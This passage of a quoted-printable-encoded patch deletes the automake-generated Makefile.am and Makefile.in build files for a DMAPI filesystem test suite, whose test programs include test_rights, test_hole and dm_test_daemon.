files) print i; }'`; \ -=09if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \ -=09 test -n "$$unique" || unique=3D$$empty_fix; \ -=09 $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ -=09 $$tags $$unique; \ -=09fi -ctags: CTAGS -CTAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09test -z "$(CTAGS_ARGS)$$tags$$unique" \ -=09 || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ -=09 $$tags $$unique - -GTAGS: -=09here=3D`$(am__cd) $(top_builddir) && pwd` \ -=09 && cd $(top_srcdir) \ -=09 && gtags -i $(GTAGS_ARGS) $$here - -distclean-tags: -=09-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags - -distdir: $(DISTFILES) -=09@srcdirstrip=3D`echo "$(srcdir)" | sed 's|.|.|g'`; \ -=09topsrcdirstrip=3D`echo "$(top_srcdir)" | sed 's|.|.|g'`; \ -=09list=3D'$(DISTFILES)'; for file in $$list; do \ -=09 case $$file in \ -=09 $(srcdir)/*) file=3D`echo "$$file" | sed "s|^$$srcdirstrip/||"`= ;; \ -=09 $(top_srcdir)/*) file=3D`echo "$$file" | sed "s|^$$topsrcdirstr= ip/|$(top_builddir)/|"`;; \ -=09 esac; \ -=09 if test -f $$file || test -d $$file; then d=3D.; else d=3D$(srcdi= r); fi; \ -=09 dir=3D`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \ -=09 if test "$$dir" !=3D "$$file" && test "$$dir" !=3D "."; then \ -=09 dir=3D"/$$dir"; \ -=09 $(mkdir_p) "$(distdir)$$dir"; \ -=09 else \ -=09 dir=3D''; \ -=09 fi; \ -=09 if test -d $$d/$$file; then \ -=09 if test -d $(srcdir)/$$file && test $$d !=3D $(srcdir); then \ -=09 cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \ -=09 fi; \ -=09 cp -pR $$d/$$file $(distdir)$$dir || exit 1; \ -=09 else \ -=09 test -f $(distdir)/$$file \ -=09 || cp -p $$d/$$file $(distdir)/$$file \ -=09 || exit 1; \ -=09 fi; \ -=09done -check-am: all-am -check: check-am -all-am: Makefile $(PROGRAMS) -installdirs: -=09for dir in "$(DESTDIR)$(bindir)"; do \ -=09 test -z "$$dir" || $(mkdir_p) "$$dir"; \ -=09done -install: install-am -install-exec: install-exec-am -install-data: install-data-am -uninstall: uninstall-am - -install-am: all-am -=09@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am - -installcheck: installcheck-am -install-strip: -=09$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)= " \ -=09 install_sh_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLA= G=3D-s \ -=09 `test -z '$(STRIP)' || \ -=09 echo "INSTALL_PROGRAM_ENV=3DSTRIPPROG=3D'$(STRIP)'"` install -mostlyclean-generic: - -clean-generic: - -distclean-generic: -=09-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) - -maintainer-clean-generic: -=09@echo "This command is intended for maintainers to use" -=09@echo "it deletes files that may require special tools to rebuild." -clean: clean-am - -clean-am: clean-binPROGRAMS clean-generic clean-libtool mostlyclean-am - -distclean: distclean-am -=09-rm -rf ./$(DEPDIR) -=09-rm -f Makefile -distclean-am: clean-am distclean-compile distclean-generic \ -=09distclean-libtool distclean-tags - -dvi: dvi-am - -dvi-am: - -html: html-am - -info: info-am - -info-am: - -install-data-am: - -install-exec-am: install-binPROGRAMS - -install-info: install-info-am - -install-man: - -installcheck-am: - -maintainer-clean: maintainer-clean-am -=09-rm -rf ./$(DEPDIR) -=09-rm -f Makefile -maintainer-clean-am: distclean-am maintainer-clean-generic - -mostlyclean: mostlyclean-am - -mostlyclean-am: mostlyclean-compile mostlyclean-generic \ -=09mostlyclean-libtool - -pdf: pdf-am - -pdf-am: - -ps: ps-am - -ps-am: - -uninstall-am: uninstall-binPROGRAMS uninstall-info-am - -.PHONY: CTAGS GTAGS all all-am check check-am clean clean-binPROGRAMS = \ -=09clean-generic clean-libtool ctags distclean distclean-compile \ -=09distclean-generic distclean-libtool distclean-tags distdir dvi \ -=09dvi-am html html-am info info-am install install-am \ -=09install-binPROGRAMS install-data install-data-am install-exec \ -=09install-exec-am install-info install-info-am install-man \ -=09install-strip installcheck installcheck-am installdirs \ -=09maintainer-clean maintainer-clean-generic mostlyclean \ -=09mostlyclean-compile mostlyclean-generic mostlyclean-libtool \ -=09pdf pdf-am ps ps-am tags uninstall uninstall-am \ -=09uninstall-binPROGRAMS uninstall-info-am - -# Tell versions [3.59,3.63) of GNU make to not export all variables. -# Otherwise a system limit (for SysV at least) may be exceeded. -.NOEXPORT: Index: b/dmapi/src/suite2/Makefile.am =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/suite2/Makefile.am +++ /dev/null @@ -1,3 +0,0 @@ -## Process this file with automake to produce Makefile.in - -SUBDIRS =3D src Index: b/dmapi/src/suite2/Makefile.in =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/suite2/Makefile.in +++ /dev/null @@ -1,453 +0,0 @@ -# Makefile.in generated by automake 1.9.1 from Makefile.am. -# @configure_input@ - -# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, -# 2003, 2004 Free Software Foundation, Inc. -# This Makefile.in is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY, to the extent permitted by law; without -# even the implied warranty of MERCHANTABILITY or FITNESS FOR A -# PARTICULAR PURPOSE. - -@SET_MAKE@ -srcdir =3D @srcdir@ -top_srcdir =3D @top_srcdir@ -VPATH =3D @srcdir@ -pkgdatadir =3D $(datadir)/@PACKAGE@ -pkglibdir =3D $(libdir)/@PACKAGE@ -pkgincludedir =3D $(includedir)/@PACKAGE@ -top_builddir =3D ../.. -am__cd =3D CDPATH=3D"$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd -INSTALL =3D @INSTALL@ -install_sh_DATA =3D $(install_sh) -c -m 644 -install_sh_PROGRAM =3D $(install_sh) -c -install_sh_SCRIPT =3D $(install_sh) -c -INSTALL_HEADER =3D $(INSTALL_DATA) -transform =3D $(program_transform_name) -NORMAL_INSTALL =3D : -PRE_INSTALL =3D : -POST_INSTALL =3D : -NORMAL_UNINSTALL =3D : -PRE_UNINSTALL =3D : -POST_UNINSTALL =3D : -build_triplet =3D @build@ -host_triplet =3D @host@ -subdir =3D src/suite2 -DIST_COMMON =3D README $(srcdir)/Makefile.am $(srcdir)/Makefile.in -ACLOCAL_M4 =3D $(top_srcdir)/aclocal.m4 -am__aclocal_m4_deps =3D $(top_srcdir)/configure.ac -am__configure_deps =3D $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES= ) \ -=09$(ACLOCAL_M4) -mkinstalldirs =3D $(install_sh) -d -CONFIG_CLEAN_FILES =3D -SOURCES =3D -DIST_SOURCES =3D -RECURSIVE_TARGETS =3D all-recursive check-recursive dvi-recursive \ -=09html-recursive info-recursive install-data-recursive \ -=09install-exec-recursive install-info-recursive \ -=09install-recursive installcheck-recursive installdirs-recursive \ -=09pdf-recursive ps-recursive uninstall-info-recursive \ -=09uninstall-recursive -ETAGS =3D etags -CTAGS =3D ctags -DIST_SUBDIRS =3D $(SUBDIRS) -DISTFILES =3D $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) -ACLOCAL =3D @ACLOCAL@ -AMDEP_FALSE =3D @AMDEP_FALSE@ -AMDEP_TRUE =3D @AMDEP_TRUE@ -AMTAR =3D @AMTAR@ -AR =3D @AR@ -AUTOCONF =3D @AUTOCONF@ -AUTOHEADER =3D @AUTOHEADER@ -AUTOMAKE =3D @AUTOMAKE@ -AWK =3D @AWK@ -CC =3D @CC@ -CCDEPMODE =3D @CCDEPMODE@ -CFLAGS =3D @CFLAGS@ -CPP =3D @CPP@ -CPPFLAGS =3D @CPPFLAGS@ -CXX =3D @CXX@ -CXXCPP =3D @CXXCPP@ -CXXDEPMODE =3D @CXXDEPMODE@ -CXXFLAGS =3D @CXXFLAGS@ -CYGPATH_W =3D @CYGPATH_W@ -DEFS =3D @DEFS@ -DEPDIR =3D @DEPDIR@ -ECHO =3D @ECHO@ -ECHO_C =3D @ECHO_C@ -ECHO_N =3D @ECHO_N@ -ECHO_T =3D @ECHO_T@ -EGREP =3D @EGREP@ -EXEEXT =3D @EXEEXT@ -F77 =3D @F77@ -FFLAGS =3D @FFLAGS@ -INSTALL_DATA =3D @INSTALL_DATA@ -INSTALL_PROGRAM =3D @INSTALL_PROGRAM@ -INSTALL_SCRIPT =3D @INSTALL_SCRIPT@ -INSTALL_STRIP_PROGRAM =3D @INSTALL_STRIP_PROGRAM@ -LDFLAGS =3D @LDFLAGS@ -LIBOBJS =3D @LIBOBJS@ -LIBS =3D @LIBS@ -LIBTOOL =3D @LIBTOOL@ -LN_S =3D @LN_S@ -LTLIBOBJS =3D @LTLIBOBJS@ -MAKEINFO =3D @MAKEINFO@ -OBJEXT =3D @OBJEXT@ -PACKAGE =3D @PACKAGE@ -PACKAGE_BUGREPORT =3D @PACKAGE_BUGREPORT@ -PACKAGE_NAME =3D @PACKAGE_NAME@ -PACKAGE_STRING =3D @PACKAGE_STRING@ -PACKAGE_TARNAME =3D @PACKAGE_TARNAME@ -PACKAGE_VERSION =3D @PACKAGE_VERSION@ -PATH_SEPARATOR =3D @PATH_SEPARATOR@ -RANLIB =3D @RANLIB@ -SET_MAKE =3D @SET_MAKE@ -SHELL =3D @SHELL@ -STRIP =3D @STRIP@ -VERSION =3D @VERSION@ -ac_ct_AR =3D @ac_ct_AR@ -ac_ct_CC =3D @ac_ct_CC@ -ac_ct_CXX =3D @ac_ct_CXX@ -ac_ct_F77 =3D @ac_ct_F77@ -ac_ct_RANLIB =3D @ac_ct_RANLIB@ -ac_ct_STRIP =3D @ac_ct_STRIP@ -am__fastdepCC_FALSE =3D @am__fastdepCC_FALSE@ -am__fastdepCC_TRUE =3D @am__fastdepCC_TRUE@ -am__fastdepCXX_FALSE =3D @am__fastdepCXX_FALSE@ -am__fastdepCXX_TRUE =3D @am__fastdepCXX_TRUE@ -am__include =3D @am__include@ -am__leading_dot =3D @am__leading_dot@ -am__quote =3D @am__quote@ -am__tar =3D @am__tar@ -am__untar =3D @am__untar@ -bindir =3D @bindir@ -build =3D @build@ -build_alias =3D @build_alias@ -build_cpu =3D @build_cpu@ -build_os =3D @build_os@ -build_vendor =3D @build_vendor@ -datadir =3D @datadir@ -exec_prefix =3D @exec_prefix@ -host =3D @host@ -host_alias =3D @host_alias@ -host_cpu =3D @host_cpu@ -host_os =3D @host_os@ -host_vendor =3D @host_vendor@ -includedir =3D @includedir@ -infodir =3D @infodir@ -install_sh =3D @install_sh@ -libdir =3D @libdir@ -libexecdir =3D @libexecdir@ -localstatedir =3D @localstatedir@ -mandir =3D @mandir@ -mkdir_p =3D @mkdir_p@ -oldincludedir =3D @oldincludedir@ -prefix =3D @prefix@ -program_transform_name =3D @program_transform_name@ -sbindir =3D @sbindir@ -sharedstatedir =3D @sharedstatedir@ -sysconfdir =3D @sysconfdir@ -target_alias =3D @target_alias@ -SUBDIRS =3D src -all: all-recursive - -.SUFFIXES: -$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) -=09@for dep in $?; do \ -=09 case '$(am__configure_deps)' in \ -=09 *$$dep*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \ -=09=09&& exit 0; \ -=09 exit 1;; \ -=09 esac; \ -=09done; \ -=09echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/suite2/Makefile';= \ -=09cd $(top_srcdir) && \ -=09 $(AUTOMAKE) --gnu src/suite2/Makefile -.PRECIOUS: Makefile -Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status -=09@case '$?' in \ -=09 *config.status*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ -=09 *) \ -=09 echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)= /$@ $(am__depfiles_maybe)'; \ -=09 cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(a= m__depfiles_maybe);; \ -=09esac; - -$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS= _DEPENDENCIES) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh - -$(top_srcdir)/configure: $(am__configure_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh -$(ACLOCAL_M4): $(am__aclocal_m4_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh - -mostlyclean-libtool: -=09-rm -f *.lo - -clean-libtool: -=09-rm -rf .libs _libs - -distclean-libtool: -=09-rm -f libtool -uninstall-info-am: - -# This directory's subdirectories are mostly independent; you can cd -# into them and run `make' without going through this Makefile. -# To change the values of `make' variables: instead of editing Makefil= es, -# (1) if the variable is set in `config.status', edit `config.status' -# (which will cause the Makefiles to be regenerated when you run `= make'); -# (2) otherwise, pass the desired values on the `make' command line. -$(RECURSIVE_TARGETS): -=09@set fnord $$MAKEFLAGS; amf=3D$$2; \ -=09dot_seen=3Dno; \ -=09target=3D`echo $@ | sed s/-recursive//`; \ -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 echo "Making $$target in $$subdir"; \ -=09 if test "$$subdir" =3D "."; then \ -=09 dot_seen=3Dyes; \ -=09 local_target=3D"$$target-am"; \ -=09 else \ -=09 local_target=3D"$$target"; \ -=09 fi; \ -=09 (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ -=09 || case "$$amf" in *=3D*) exit 1;; *k*) fail=3Dyes;; *) exit 1;;= esac; \ -=09done; \ -=09if test "$$dot_seen" =3D "no"; then \ -=09 $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \ -=09fi; test -z "$$fail" - -mostlyclean-recursive clean-recursive distclean-recursive \ -maintainer-clean-recursive: -=09@set fnord $$MAKEFLAGS; amf=3D$$2; \ -=09dot_seen=3Dno; \ -=09case "$@" in \ -=09 distclean-* | maintainer-clean-*) list=3D'$(DIST_SUBDIRS)' ;; \ -=09 *) list=3D'$(SUBDIRS)' ;; \ -=09esac; \ -=09rev=3D''; for subdir in $$list; do \ -=09 if test "$$subdir" =3D "."; then :; else \ -=09 rev=3D"$$subdir $$rev"; \ -=09 fi; \ -=09done; \ -=09rev=3D"$$rev ."; \ -=09target=3D`echo $@ | sed s/-recursive//`; \ -=09for subdir in $$rev; do \ -=09 echo "Making $$target in $$subdir"; \ -=09 if test "$$subdir" =3D "."; then \ -=09 local_target=3D"$$target-am"; \ -=09 else \ -=09 local_target=3D"$$target"; \ -=09 fi; \ -=09 (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ -=09 || case "$$amf" in *=3D*) exit 1;; *k*) fail=3Dyes;; *) exit 1;;= esac; \ -=09done && test -z "$$fail" -tags-recursive: -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 test "$$subdir" =3D . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) = tags); \ -=09done -ctags-recursive: -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 test "$$subdir" =3D . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) = ctags); \ -=09done - -ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09mkid -fID $$unique -tags: TAGS - -TAGS: tags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \ -=09 include_option=3D--etags-include; \ -=09 empty_fix=3D.; \ -=09else \ -=09 include_option=3D--include; \ -=09 empty_fix=3D; \ -=09fi; \ -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 if test "$$subdir" =3D .; then :; else \ -=09 test ! -f $$subdir/TAGS || \ -=09 tags=3D"$$tags $$include_option=3D$$here/$$subdir/TAGS"; \ -=09 fi; \ -=09done; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \ -=09 test -n "$$unique" || unique=3D$$empty_fix; \ -=09 $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ -=09 $$tags $$unique; \ -=09fi -ctags: CTAGS -CTAGS: ctags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09test -z "$(CTAGS_ARGS)$$tags$$unique" \ -=09 || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ -=09 $$tags $$unique - -GTAGS: -=09here=3D`$(am__cd) $(top_builddir) && pwd` \ -=09 && cd $(top_srcdir) \ -=09 && gtags -i $(GTAGS_ARGS) $$here - -distclean-tags: -=09-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags - -distdir: $(DISTFILES) -=09@srcdirstrip=3D`echo "$(srcdir)" | sed 's|.|.|g'`; \ -=09topsrcdirstrip=3D`echo "$(top_srcdir)" | sed 's|.|.|g'`; \ -=09list=3D'$(DISTFILES)'; for file in $$list; do \ -=09 case $$file in \ -=09 $(srcdir)/*) file=3D`echo "$$file" | sed "s|^$$srcdirstrip/||"`= ;; \ -=09 $(top_srcdir)/*) file=3D`echo "$$file" | sed "s|^$$topsrcdirstr= ip/|$(top_builddir)/|"`;; \ -=09 esac; \ -=09 if test -f $$file || test -d $$file; then d=3D.; else d=3D$(srcdi= r); fi; \ -=09 dir=3D`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \ -=09 if test "$$dir" !=3D "$$file" && test "$$dir" !=3D "."; then \ -=09 dir=3D"/$$dir"; \ -=09 $(mkdir_p) "$(distdir)$$dir"; \ -=09 else \ -=09 dir=3D''; \ -=09 fi; \ -=09 if test -d $$d/$$file; then \ -=09 if test -d $(srcdir)/$$file && test $$d !=3D $(srcdir); then \ -=09 cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \ -=09 fi; \ -=09 cp -pR $$d/$$file $(distdir)$$dir || exit 1; \ -=09 else \ -=09 test -f $(distdir)/$$file \ -=09 || cp -p $$d/$$file $(distdir)/$$file \ -=09 || exit 1; \ -=09 fi; \ -=09done -=09list=3D'$(DIST_SUBDIRS)'; for subdir in $$list; do \ -=09 if test "$$subdir" =3D .; then :; else \ -=09 test -d "$(distdir)/$$subdir" \ -=09 || $(mkdir_p) "$(distdir)/$$subdir" \ -=09 || exit 1; \ -=09 distdir=3D`$(am__cd) $(distdir) && pwd`; \ -=09 top_distdir=3D`$(am__cd) $(top_distdir) && pwd`; \ -=09 (cd $$subdir && \ -=09 $(MAKE) $(AM_MAKEFLAGS) \ -=09 top_distdir=3D"$$top_distdir" \ -=09 distdir=3D"$$distdir/$$subdir" \ -=09 distdir) \ -=09 || exit 1; \ -=09 fi; \ -=09done -check-am: all-am -check: check-recursive -all-am: Makefile -installdirs: installdirs-recursive -installdirs-am: -install: install-recursive -install-exec: install-exec-recursive -install-data: install-data-recursive -uninstall: uninstall-recursive - -install-am: all-am -=09@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am - -installcheck: installcheck-recursive -install-strip: -=09$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)= " \ -=09 install_sh_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLA= G=3D-s \ -=09 `test -z '$(STRIP)' || \ -=09 echo "INSTALL_PROGRAM_ENV=3DSTRIPPROG=3D'$(STRIP)'"` install -mostlyclean-generic: - -clean-generic: - -distclean-generic: -=09-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) - -maintainer-clean-generic: -=09@echo "This command is intended for maintainers to use" -=09@echo "it deletes files that may require special tools to rebuild." -clean: clean-recursive - -clean-am: clean-generic clean-libtool mostlyclean-am - -distclean: distclean-recursive -=09-rm -f Makefile -distclean-am: clean-am distclean-generic distclean-libtool \ -=09distclean-tags - -dvi: dvi-recursive - -dvi-am: - -html: html-recursive - -info: info-recursive - -info-am: - -install-data-am: - -install-exec-am: - -install-info: install-info-recursive - -install-man: - -installcheck-am: - -maintainer-clean: maintainer-clean-recursive -=09-rm -f Makefile -maintainer-clean-am: distclean-am maintainer-clean-generic - -mostlyclean: mostlyclean-recursive - -mostlyclean-am: mostlyclean-generic mostlyclean-libtool - -pdf: pdf-recursive - -pdf-am: - -ps: ps-recursive - -ps-am: - -uninstall-am: uninstall-info-am - -uninstall-info: uninstall-info-recursive - -.PHONY: $(RECURSIVE_TARGETS) CTAGS GTAGS all all-am check check-am \ -=09clean clean-generic clean-libtool clean-recursive ctags \ -=09ctags-recursive distclean distclean-generic distclean-libtool \ -=09distclean-recursive distclean-tags distdir dvi dvi-am html \ -=09html-am info info-am install install-am install-data \ -=09install-data-am install-exec install-exec-am install-info \ -=09install-info-am install-man install-strip installcheck \ -=09installcheck-am installdirs installdirs-am maintainer-clean \ -=09maintainer-clean-generic maintainer-clean-recursive \ -=09mostlyclean mostlyclean-generic mostlyclean-libtool \ -=09mostlyclean-recursive pdf pdf-am ps ps-am tags tags-recursive \ -=09uninstall uninstall-am uninstall-info-am - -# Tell versions [3.59,3.63) of GNU make to not export all variables. -# Otherwise a system limit (for SysV at least) may be exceeded. -.NOEXPORT: Index: b/dmapi/src/suite2/src/Makefile.am =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/suite2/src/Makefile.am +++ /dev/null @@ -1,26 +0,0 @@ -## Process this file with automake to produce Makefile.in - -## -## Copyright (c) 2000-2002 Silicon Graphics, Inc. All Rights Reserved= . -## - -bin_PROGRAMS =3D \ -=09test_rights \ -=09test_fileattr \ -=09test_hole \ -=09test_dmattr \ -=09test_eventlist \ -=09test_region \ -=09test_bulkall \ -=09test_bulkattr \ -=09send_msg \ -=09dm_test_daemon \ -=09test_invis \ -=09invis_test \ -=09region_test \ -=09test_efault \ -=09mmap - -INCLUDES =3D -I .. - -LDADD =3D $(top_builddir)/src/common/lib/libdmtest.la Index: b/dmapi/src/suite2/src/Makefile.in =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/suite2/src/Makefile.in +++ /dev/null @@ -1,579 +0,0 @@ -# Makefile.in generated by automake 1.9.1 from Makefile.am. -# @configure_input@ - -# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, -# 2003, 2004 Free Software Foundation, Inc. -# This Makefile.in is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY, to the extent permitted by law; without -# even the implied warranty of MERCHANTABILITY or FITNESS FOR A -# PARTICULAR PURPOSE. - -@SET_MAKE@ - -SOURCES =3D dm_test_daemon.c invis_test.c mmap.c region_test.c send_ms= g.c test_bulkall.c test_bulkattr.c test_dmattr.c test_efault.c test_eve= ntlist.c test_fileattr.c test_hole.c test_invis.c test_region.c test_ri= ghts.c - -srcdir =3D @srcdir@ -top_srcdir =3D @top_srcdir@ -VPATH =3D @srcdir@ -pkgdatadir =3D $(datadir)/@PACKAGE@ -pkglibdir =3D $(libdir)/@PACKAGE@ -pkgincludedir =3D $(includedir)/@PACKAGE@ -top_builddir =3D ../../.. -am__cd =3D CDPATH=3D"$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd -INSTALL =3D @INSTALL@ -install_sh_DATA =3D $(install_sh) -c -m 644 -install_sh_PROGRAM =3D $(install_sh) -c -install_sh_SCRIPT =3D $(install_sh) -c -INSTALL_HEADER =3D $(INSTALL_DATA) -transform =3D $(program_transform_name) -NORMAL_INSTALL =3D : -PRE_INSTALL =3D : -POST_INSTALL =3D : -NORMAL_UNINSTALL =3D : -PRE_UNINSTALL =3D : -POST_UNINSTALL =3D : -build_triplet =3D @build@ -host_triplet =3D @host@ -bin_PROGRAMS =3D test_rights$(EXEEXT) test_fileattr$(EXEEXT) \ -=09test_hole$(EXEEXT) test_dmattr$(EXEEXT) \ -=09test_eventlist$(EXEEXT) test_region$(EXEEXT) \ -=09test_bulkall$(EXEEXT) test_bulkattr$(EXEEXT) send_msg$(EXEEXT) \ -=09dm_test_daemon$(EXEEXT) test_invis$(EXEEXT) \ -=09invis_test$(EXEEXT) region_test$(EXEEXT) test_efault$(EXEEXT) \ -=09mmap$(EXEEXT) -subdir =3D src/suite2/src -DIST_COMMON =3D $(srcdir)/Makefile.am $(srcdir)/Makefile.in -ACLOCAL_M4 =3D $(top_srcdir)/aclocal.m4 -am__aclocal_m4_deps =3D $(top_srcdir)/configure.ac -am__configure_deps =3D $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES= ) \ -=09$(ACLOCAL_M4) -mkinstalldirs =3D $(install_sh) -d -CONFIG_CLEAN_FILES =3D -am__installdirs =3D "$(DESTDIR)$(bindir)" -binPROGRAMS_INSTALL =3D $(INSTALL_PROGRAM) -PROGRAMS =3D $(bin_PROGRAMS) -dm_test_daemon_SOURCES =3D dm_test_daemon.c -dm_test_daemon_OBJECTS =3D dm_test_daemon.$(OBJEXT) -dm_test_daemon_LDADD =3D $(LDADD) -dm_test_daemon_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -invis_test_SOURCES =3D invis_test.c -invis_test_OBJECTS =3D invis_test.$(OBJEXT) -invis_test_LDADD =3D $(LDADD) -invis_test_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.l= a -mmap_SOURCES =3D mmap.c -mmap_OBJECTS =3D mmap.$(OBJEXT) -mmap_LDADD =3D $(LDADD) -mmap_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.la -region_test_SOURCES =3D region_test.c -region_test_OBJECTS =3D region_test.$(OBJEXT) -region_test_LDADD =3D $(LDADD) -region_test_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -send_msg_SOURCES =3D send_msg.c -send_msg_OBJECTS =3D send_msg.$(OBJEXT) -send_msg_LDADD =3D $(LDADD) -send_msg_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.la -test_bulkall_SOURCES =3D test_bulkall.c -test_bulkall_OBJECTS =3D test_bulkall.$(OBJEXT) -test_bulkall_LDADD =3D 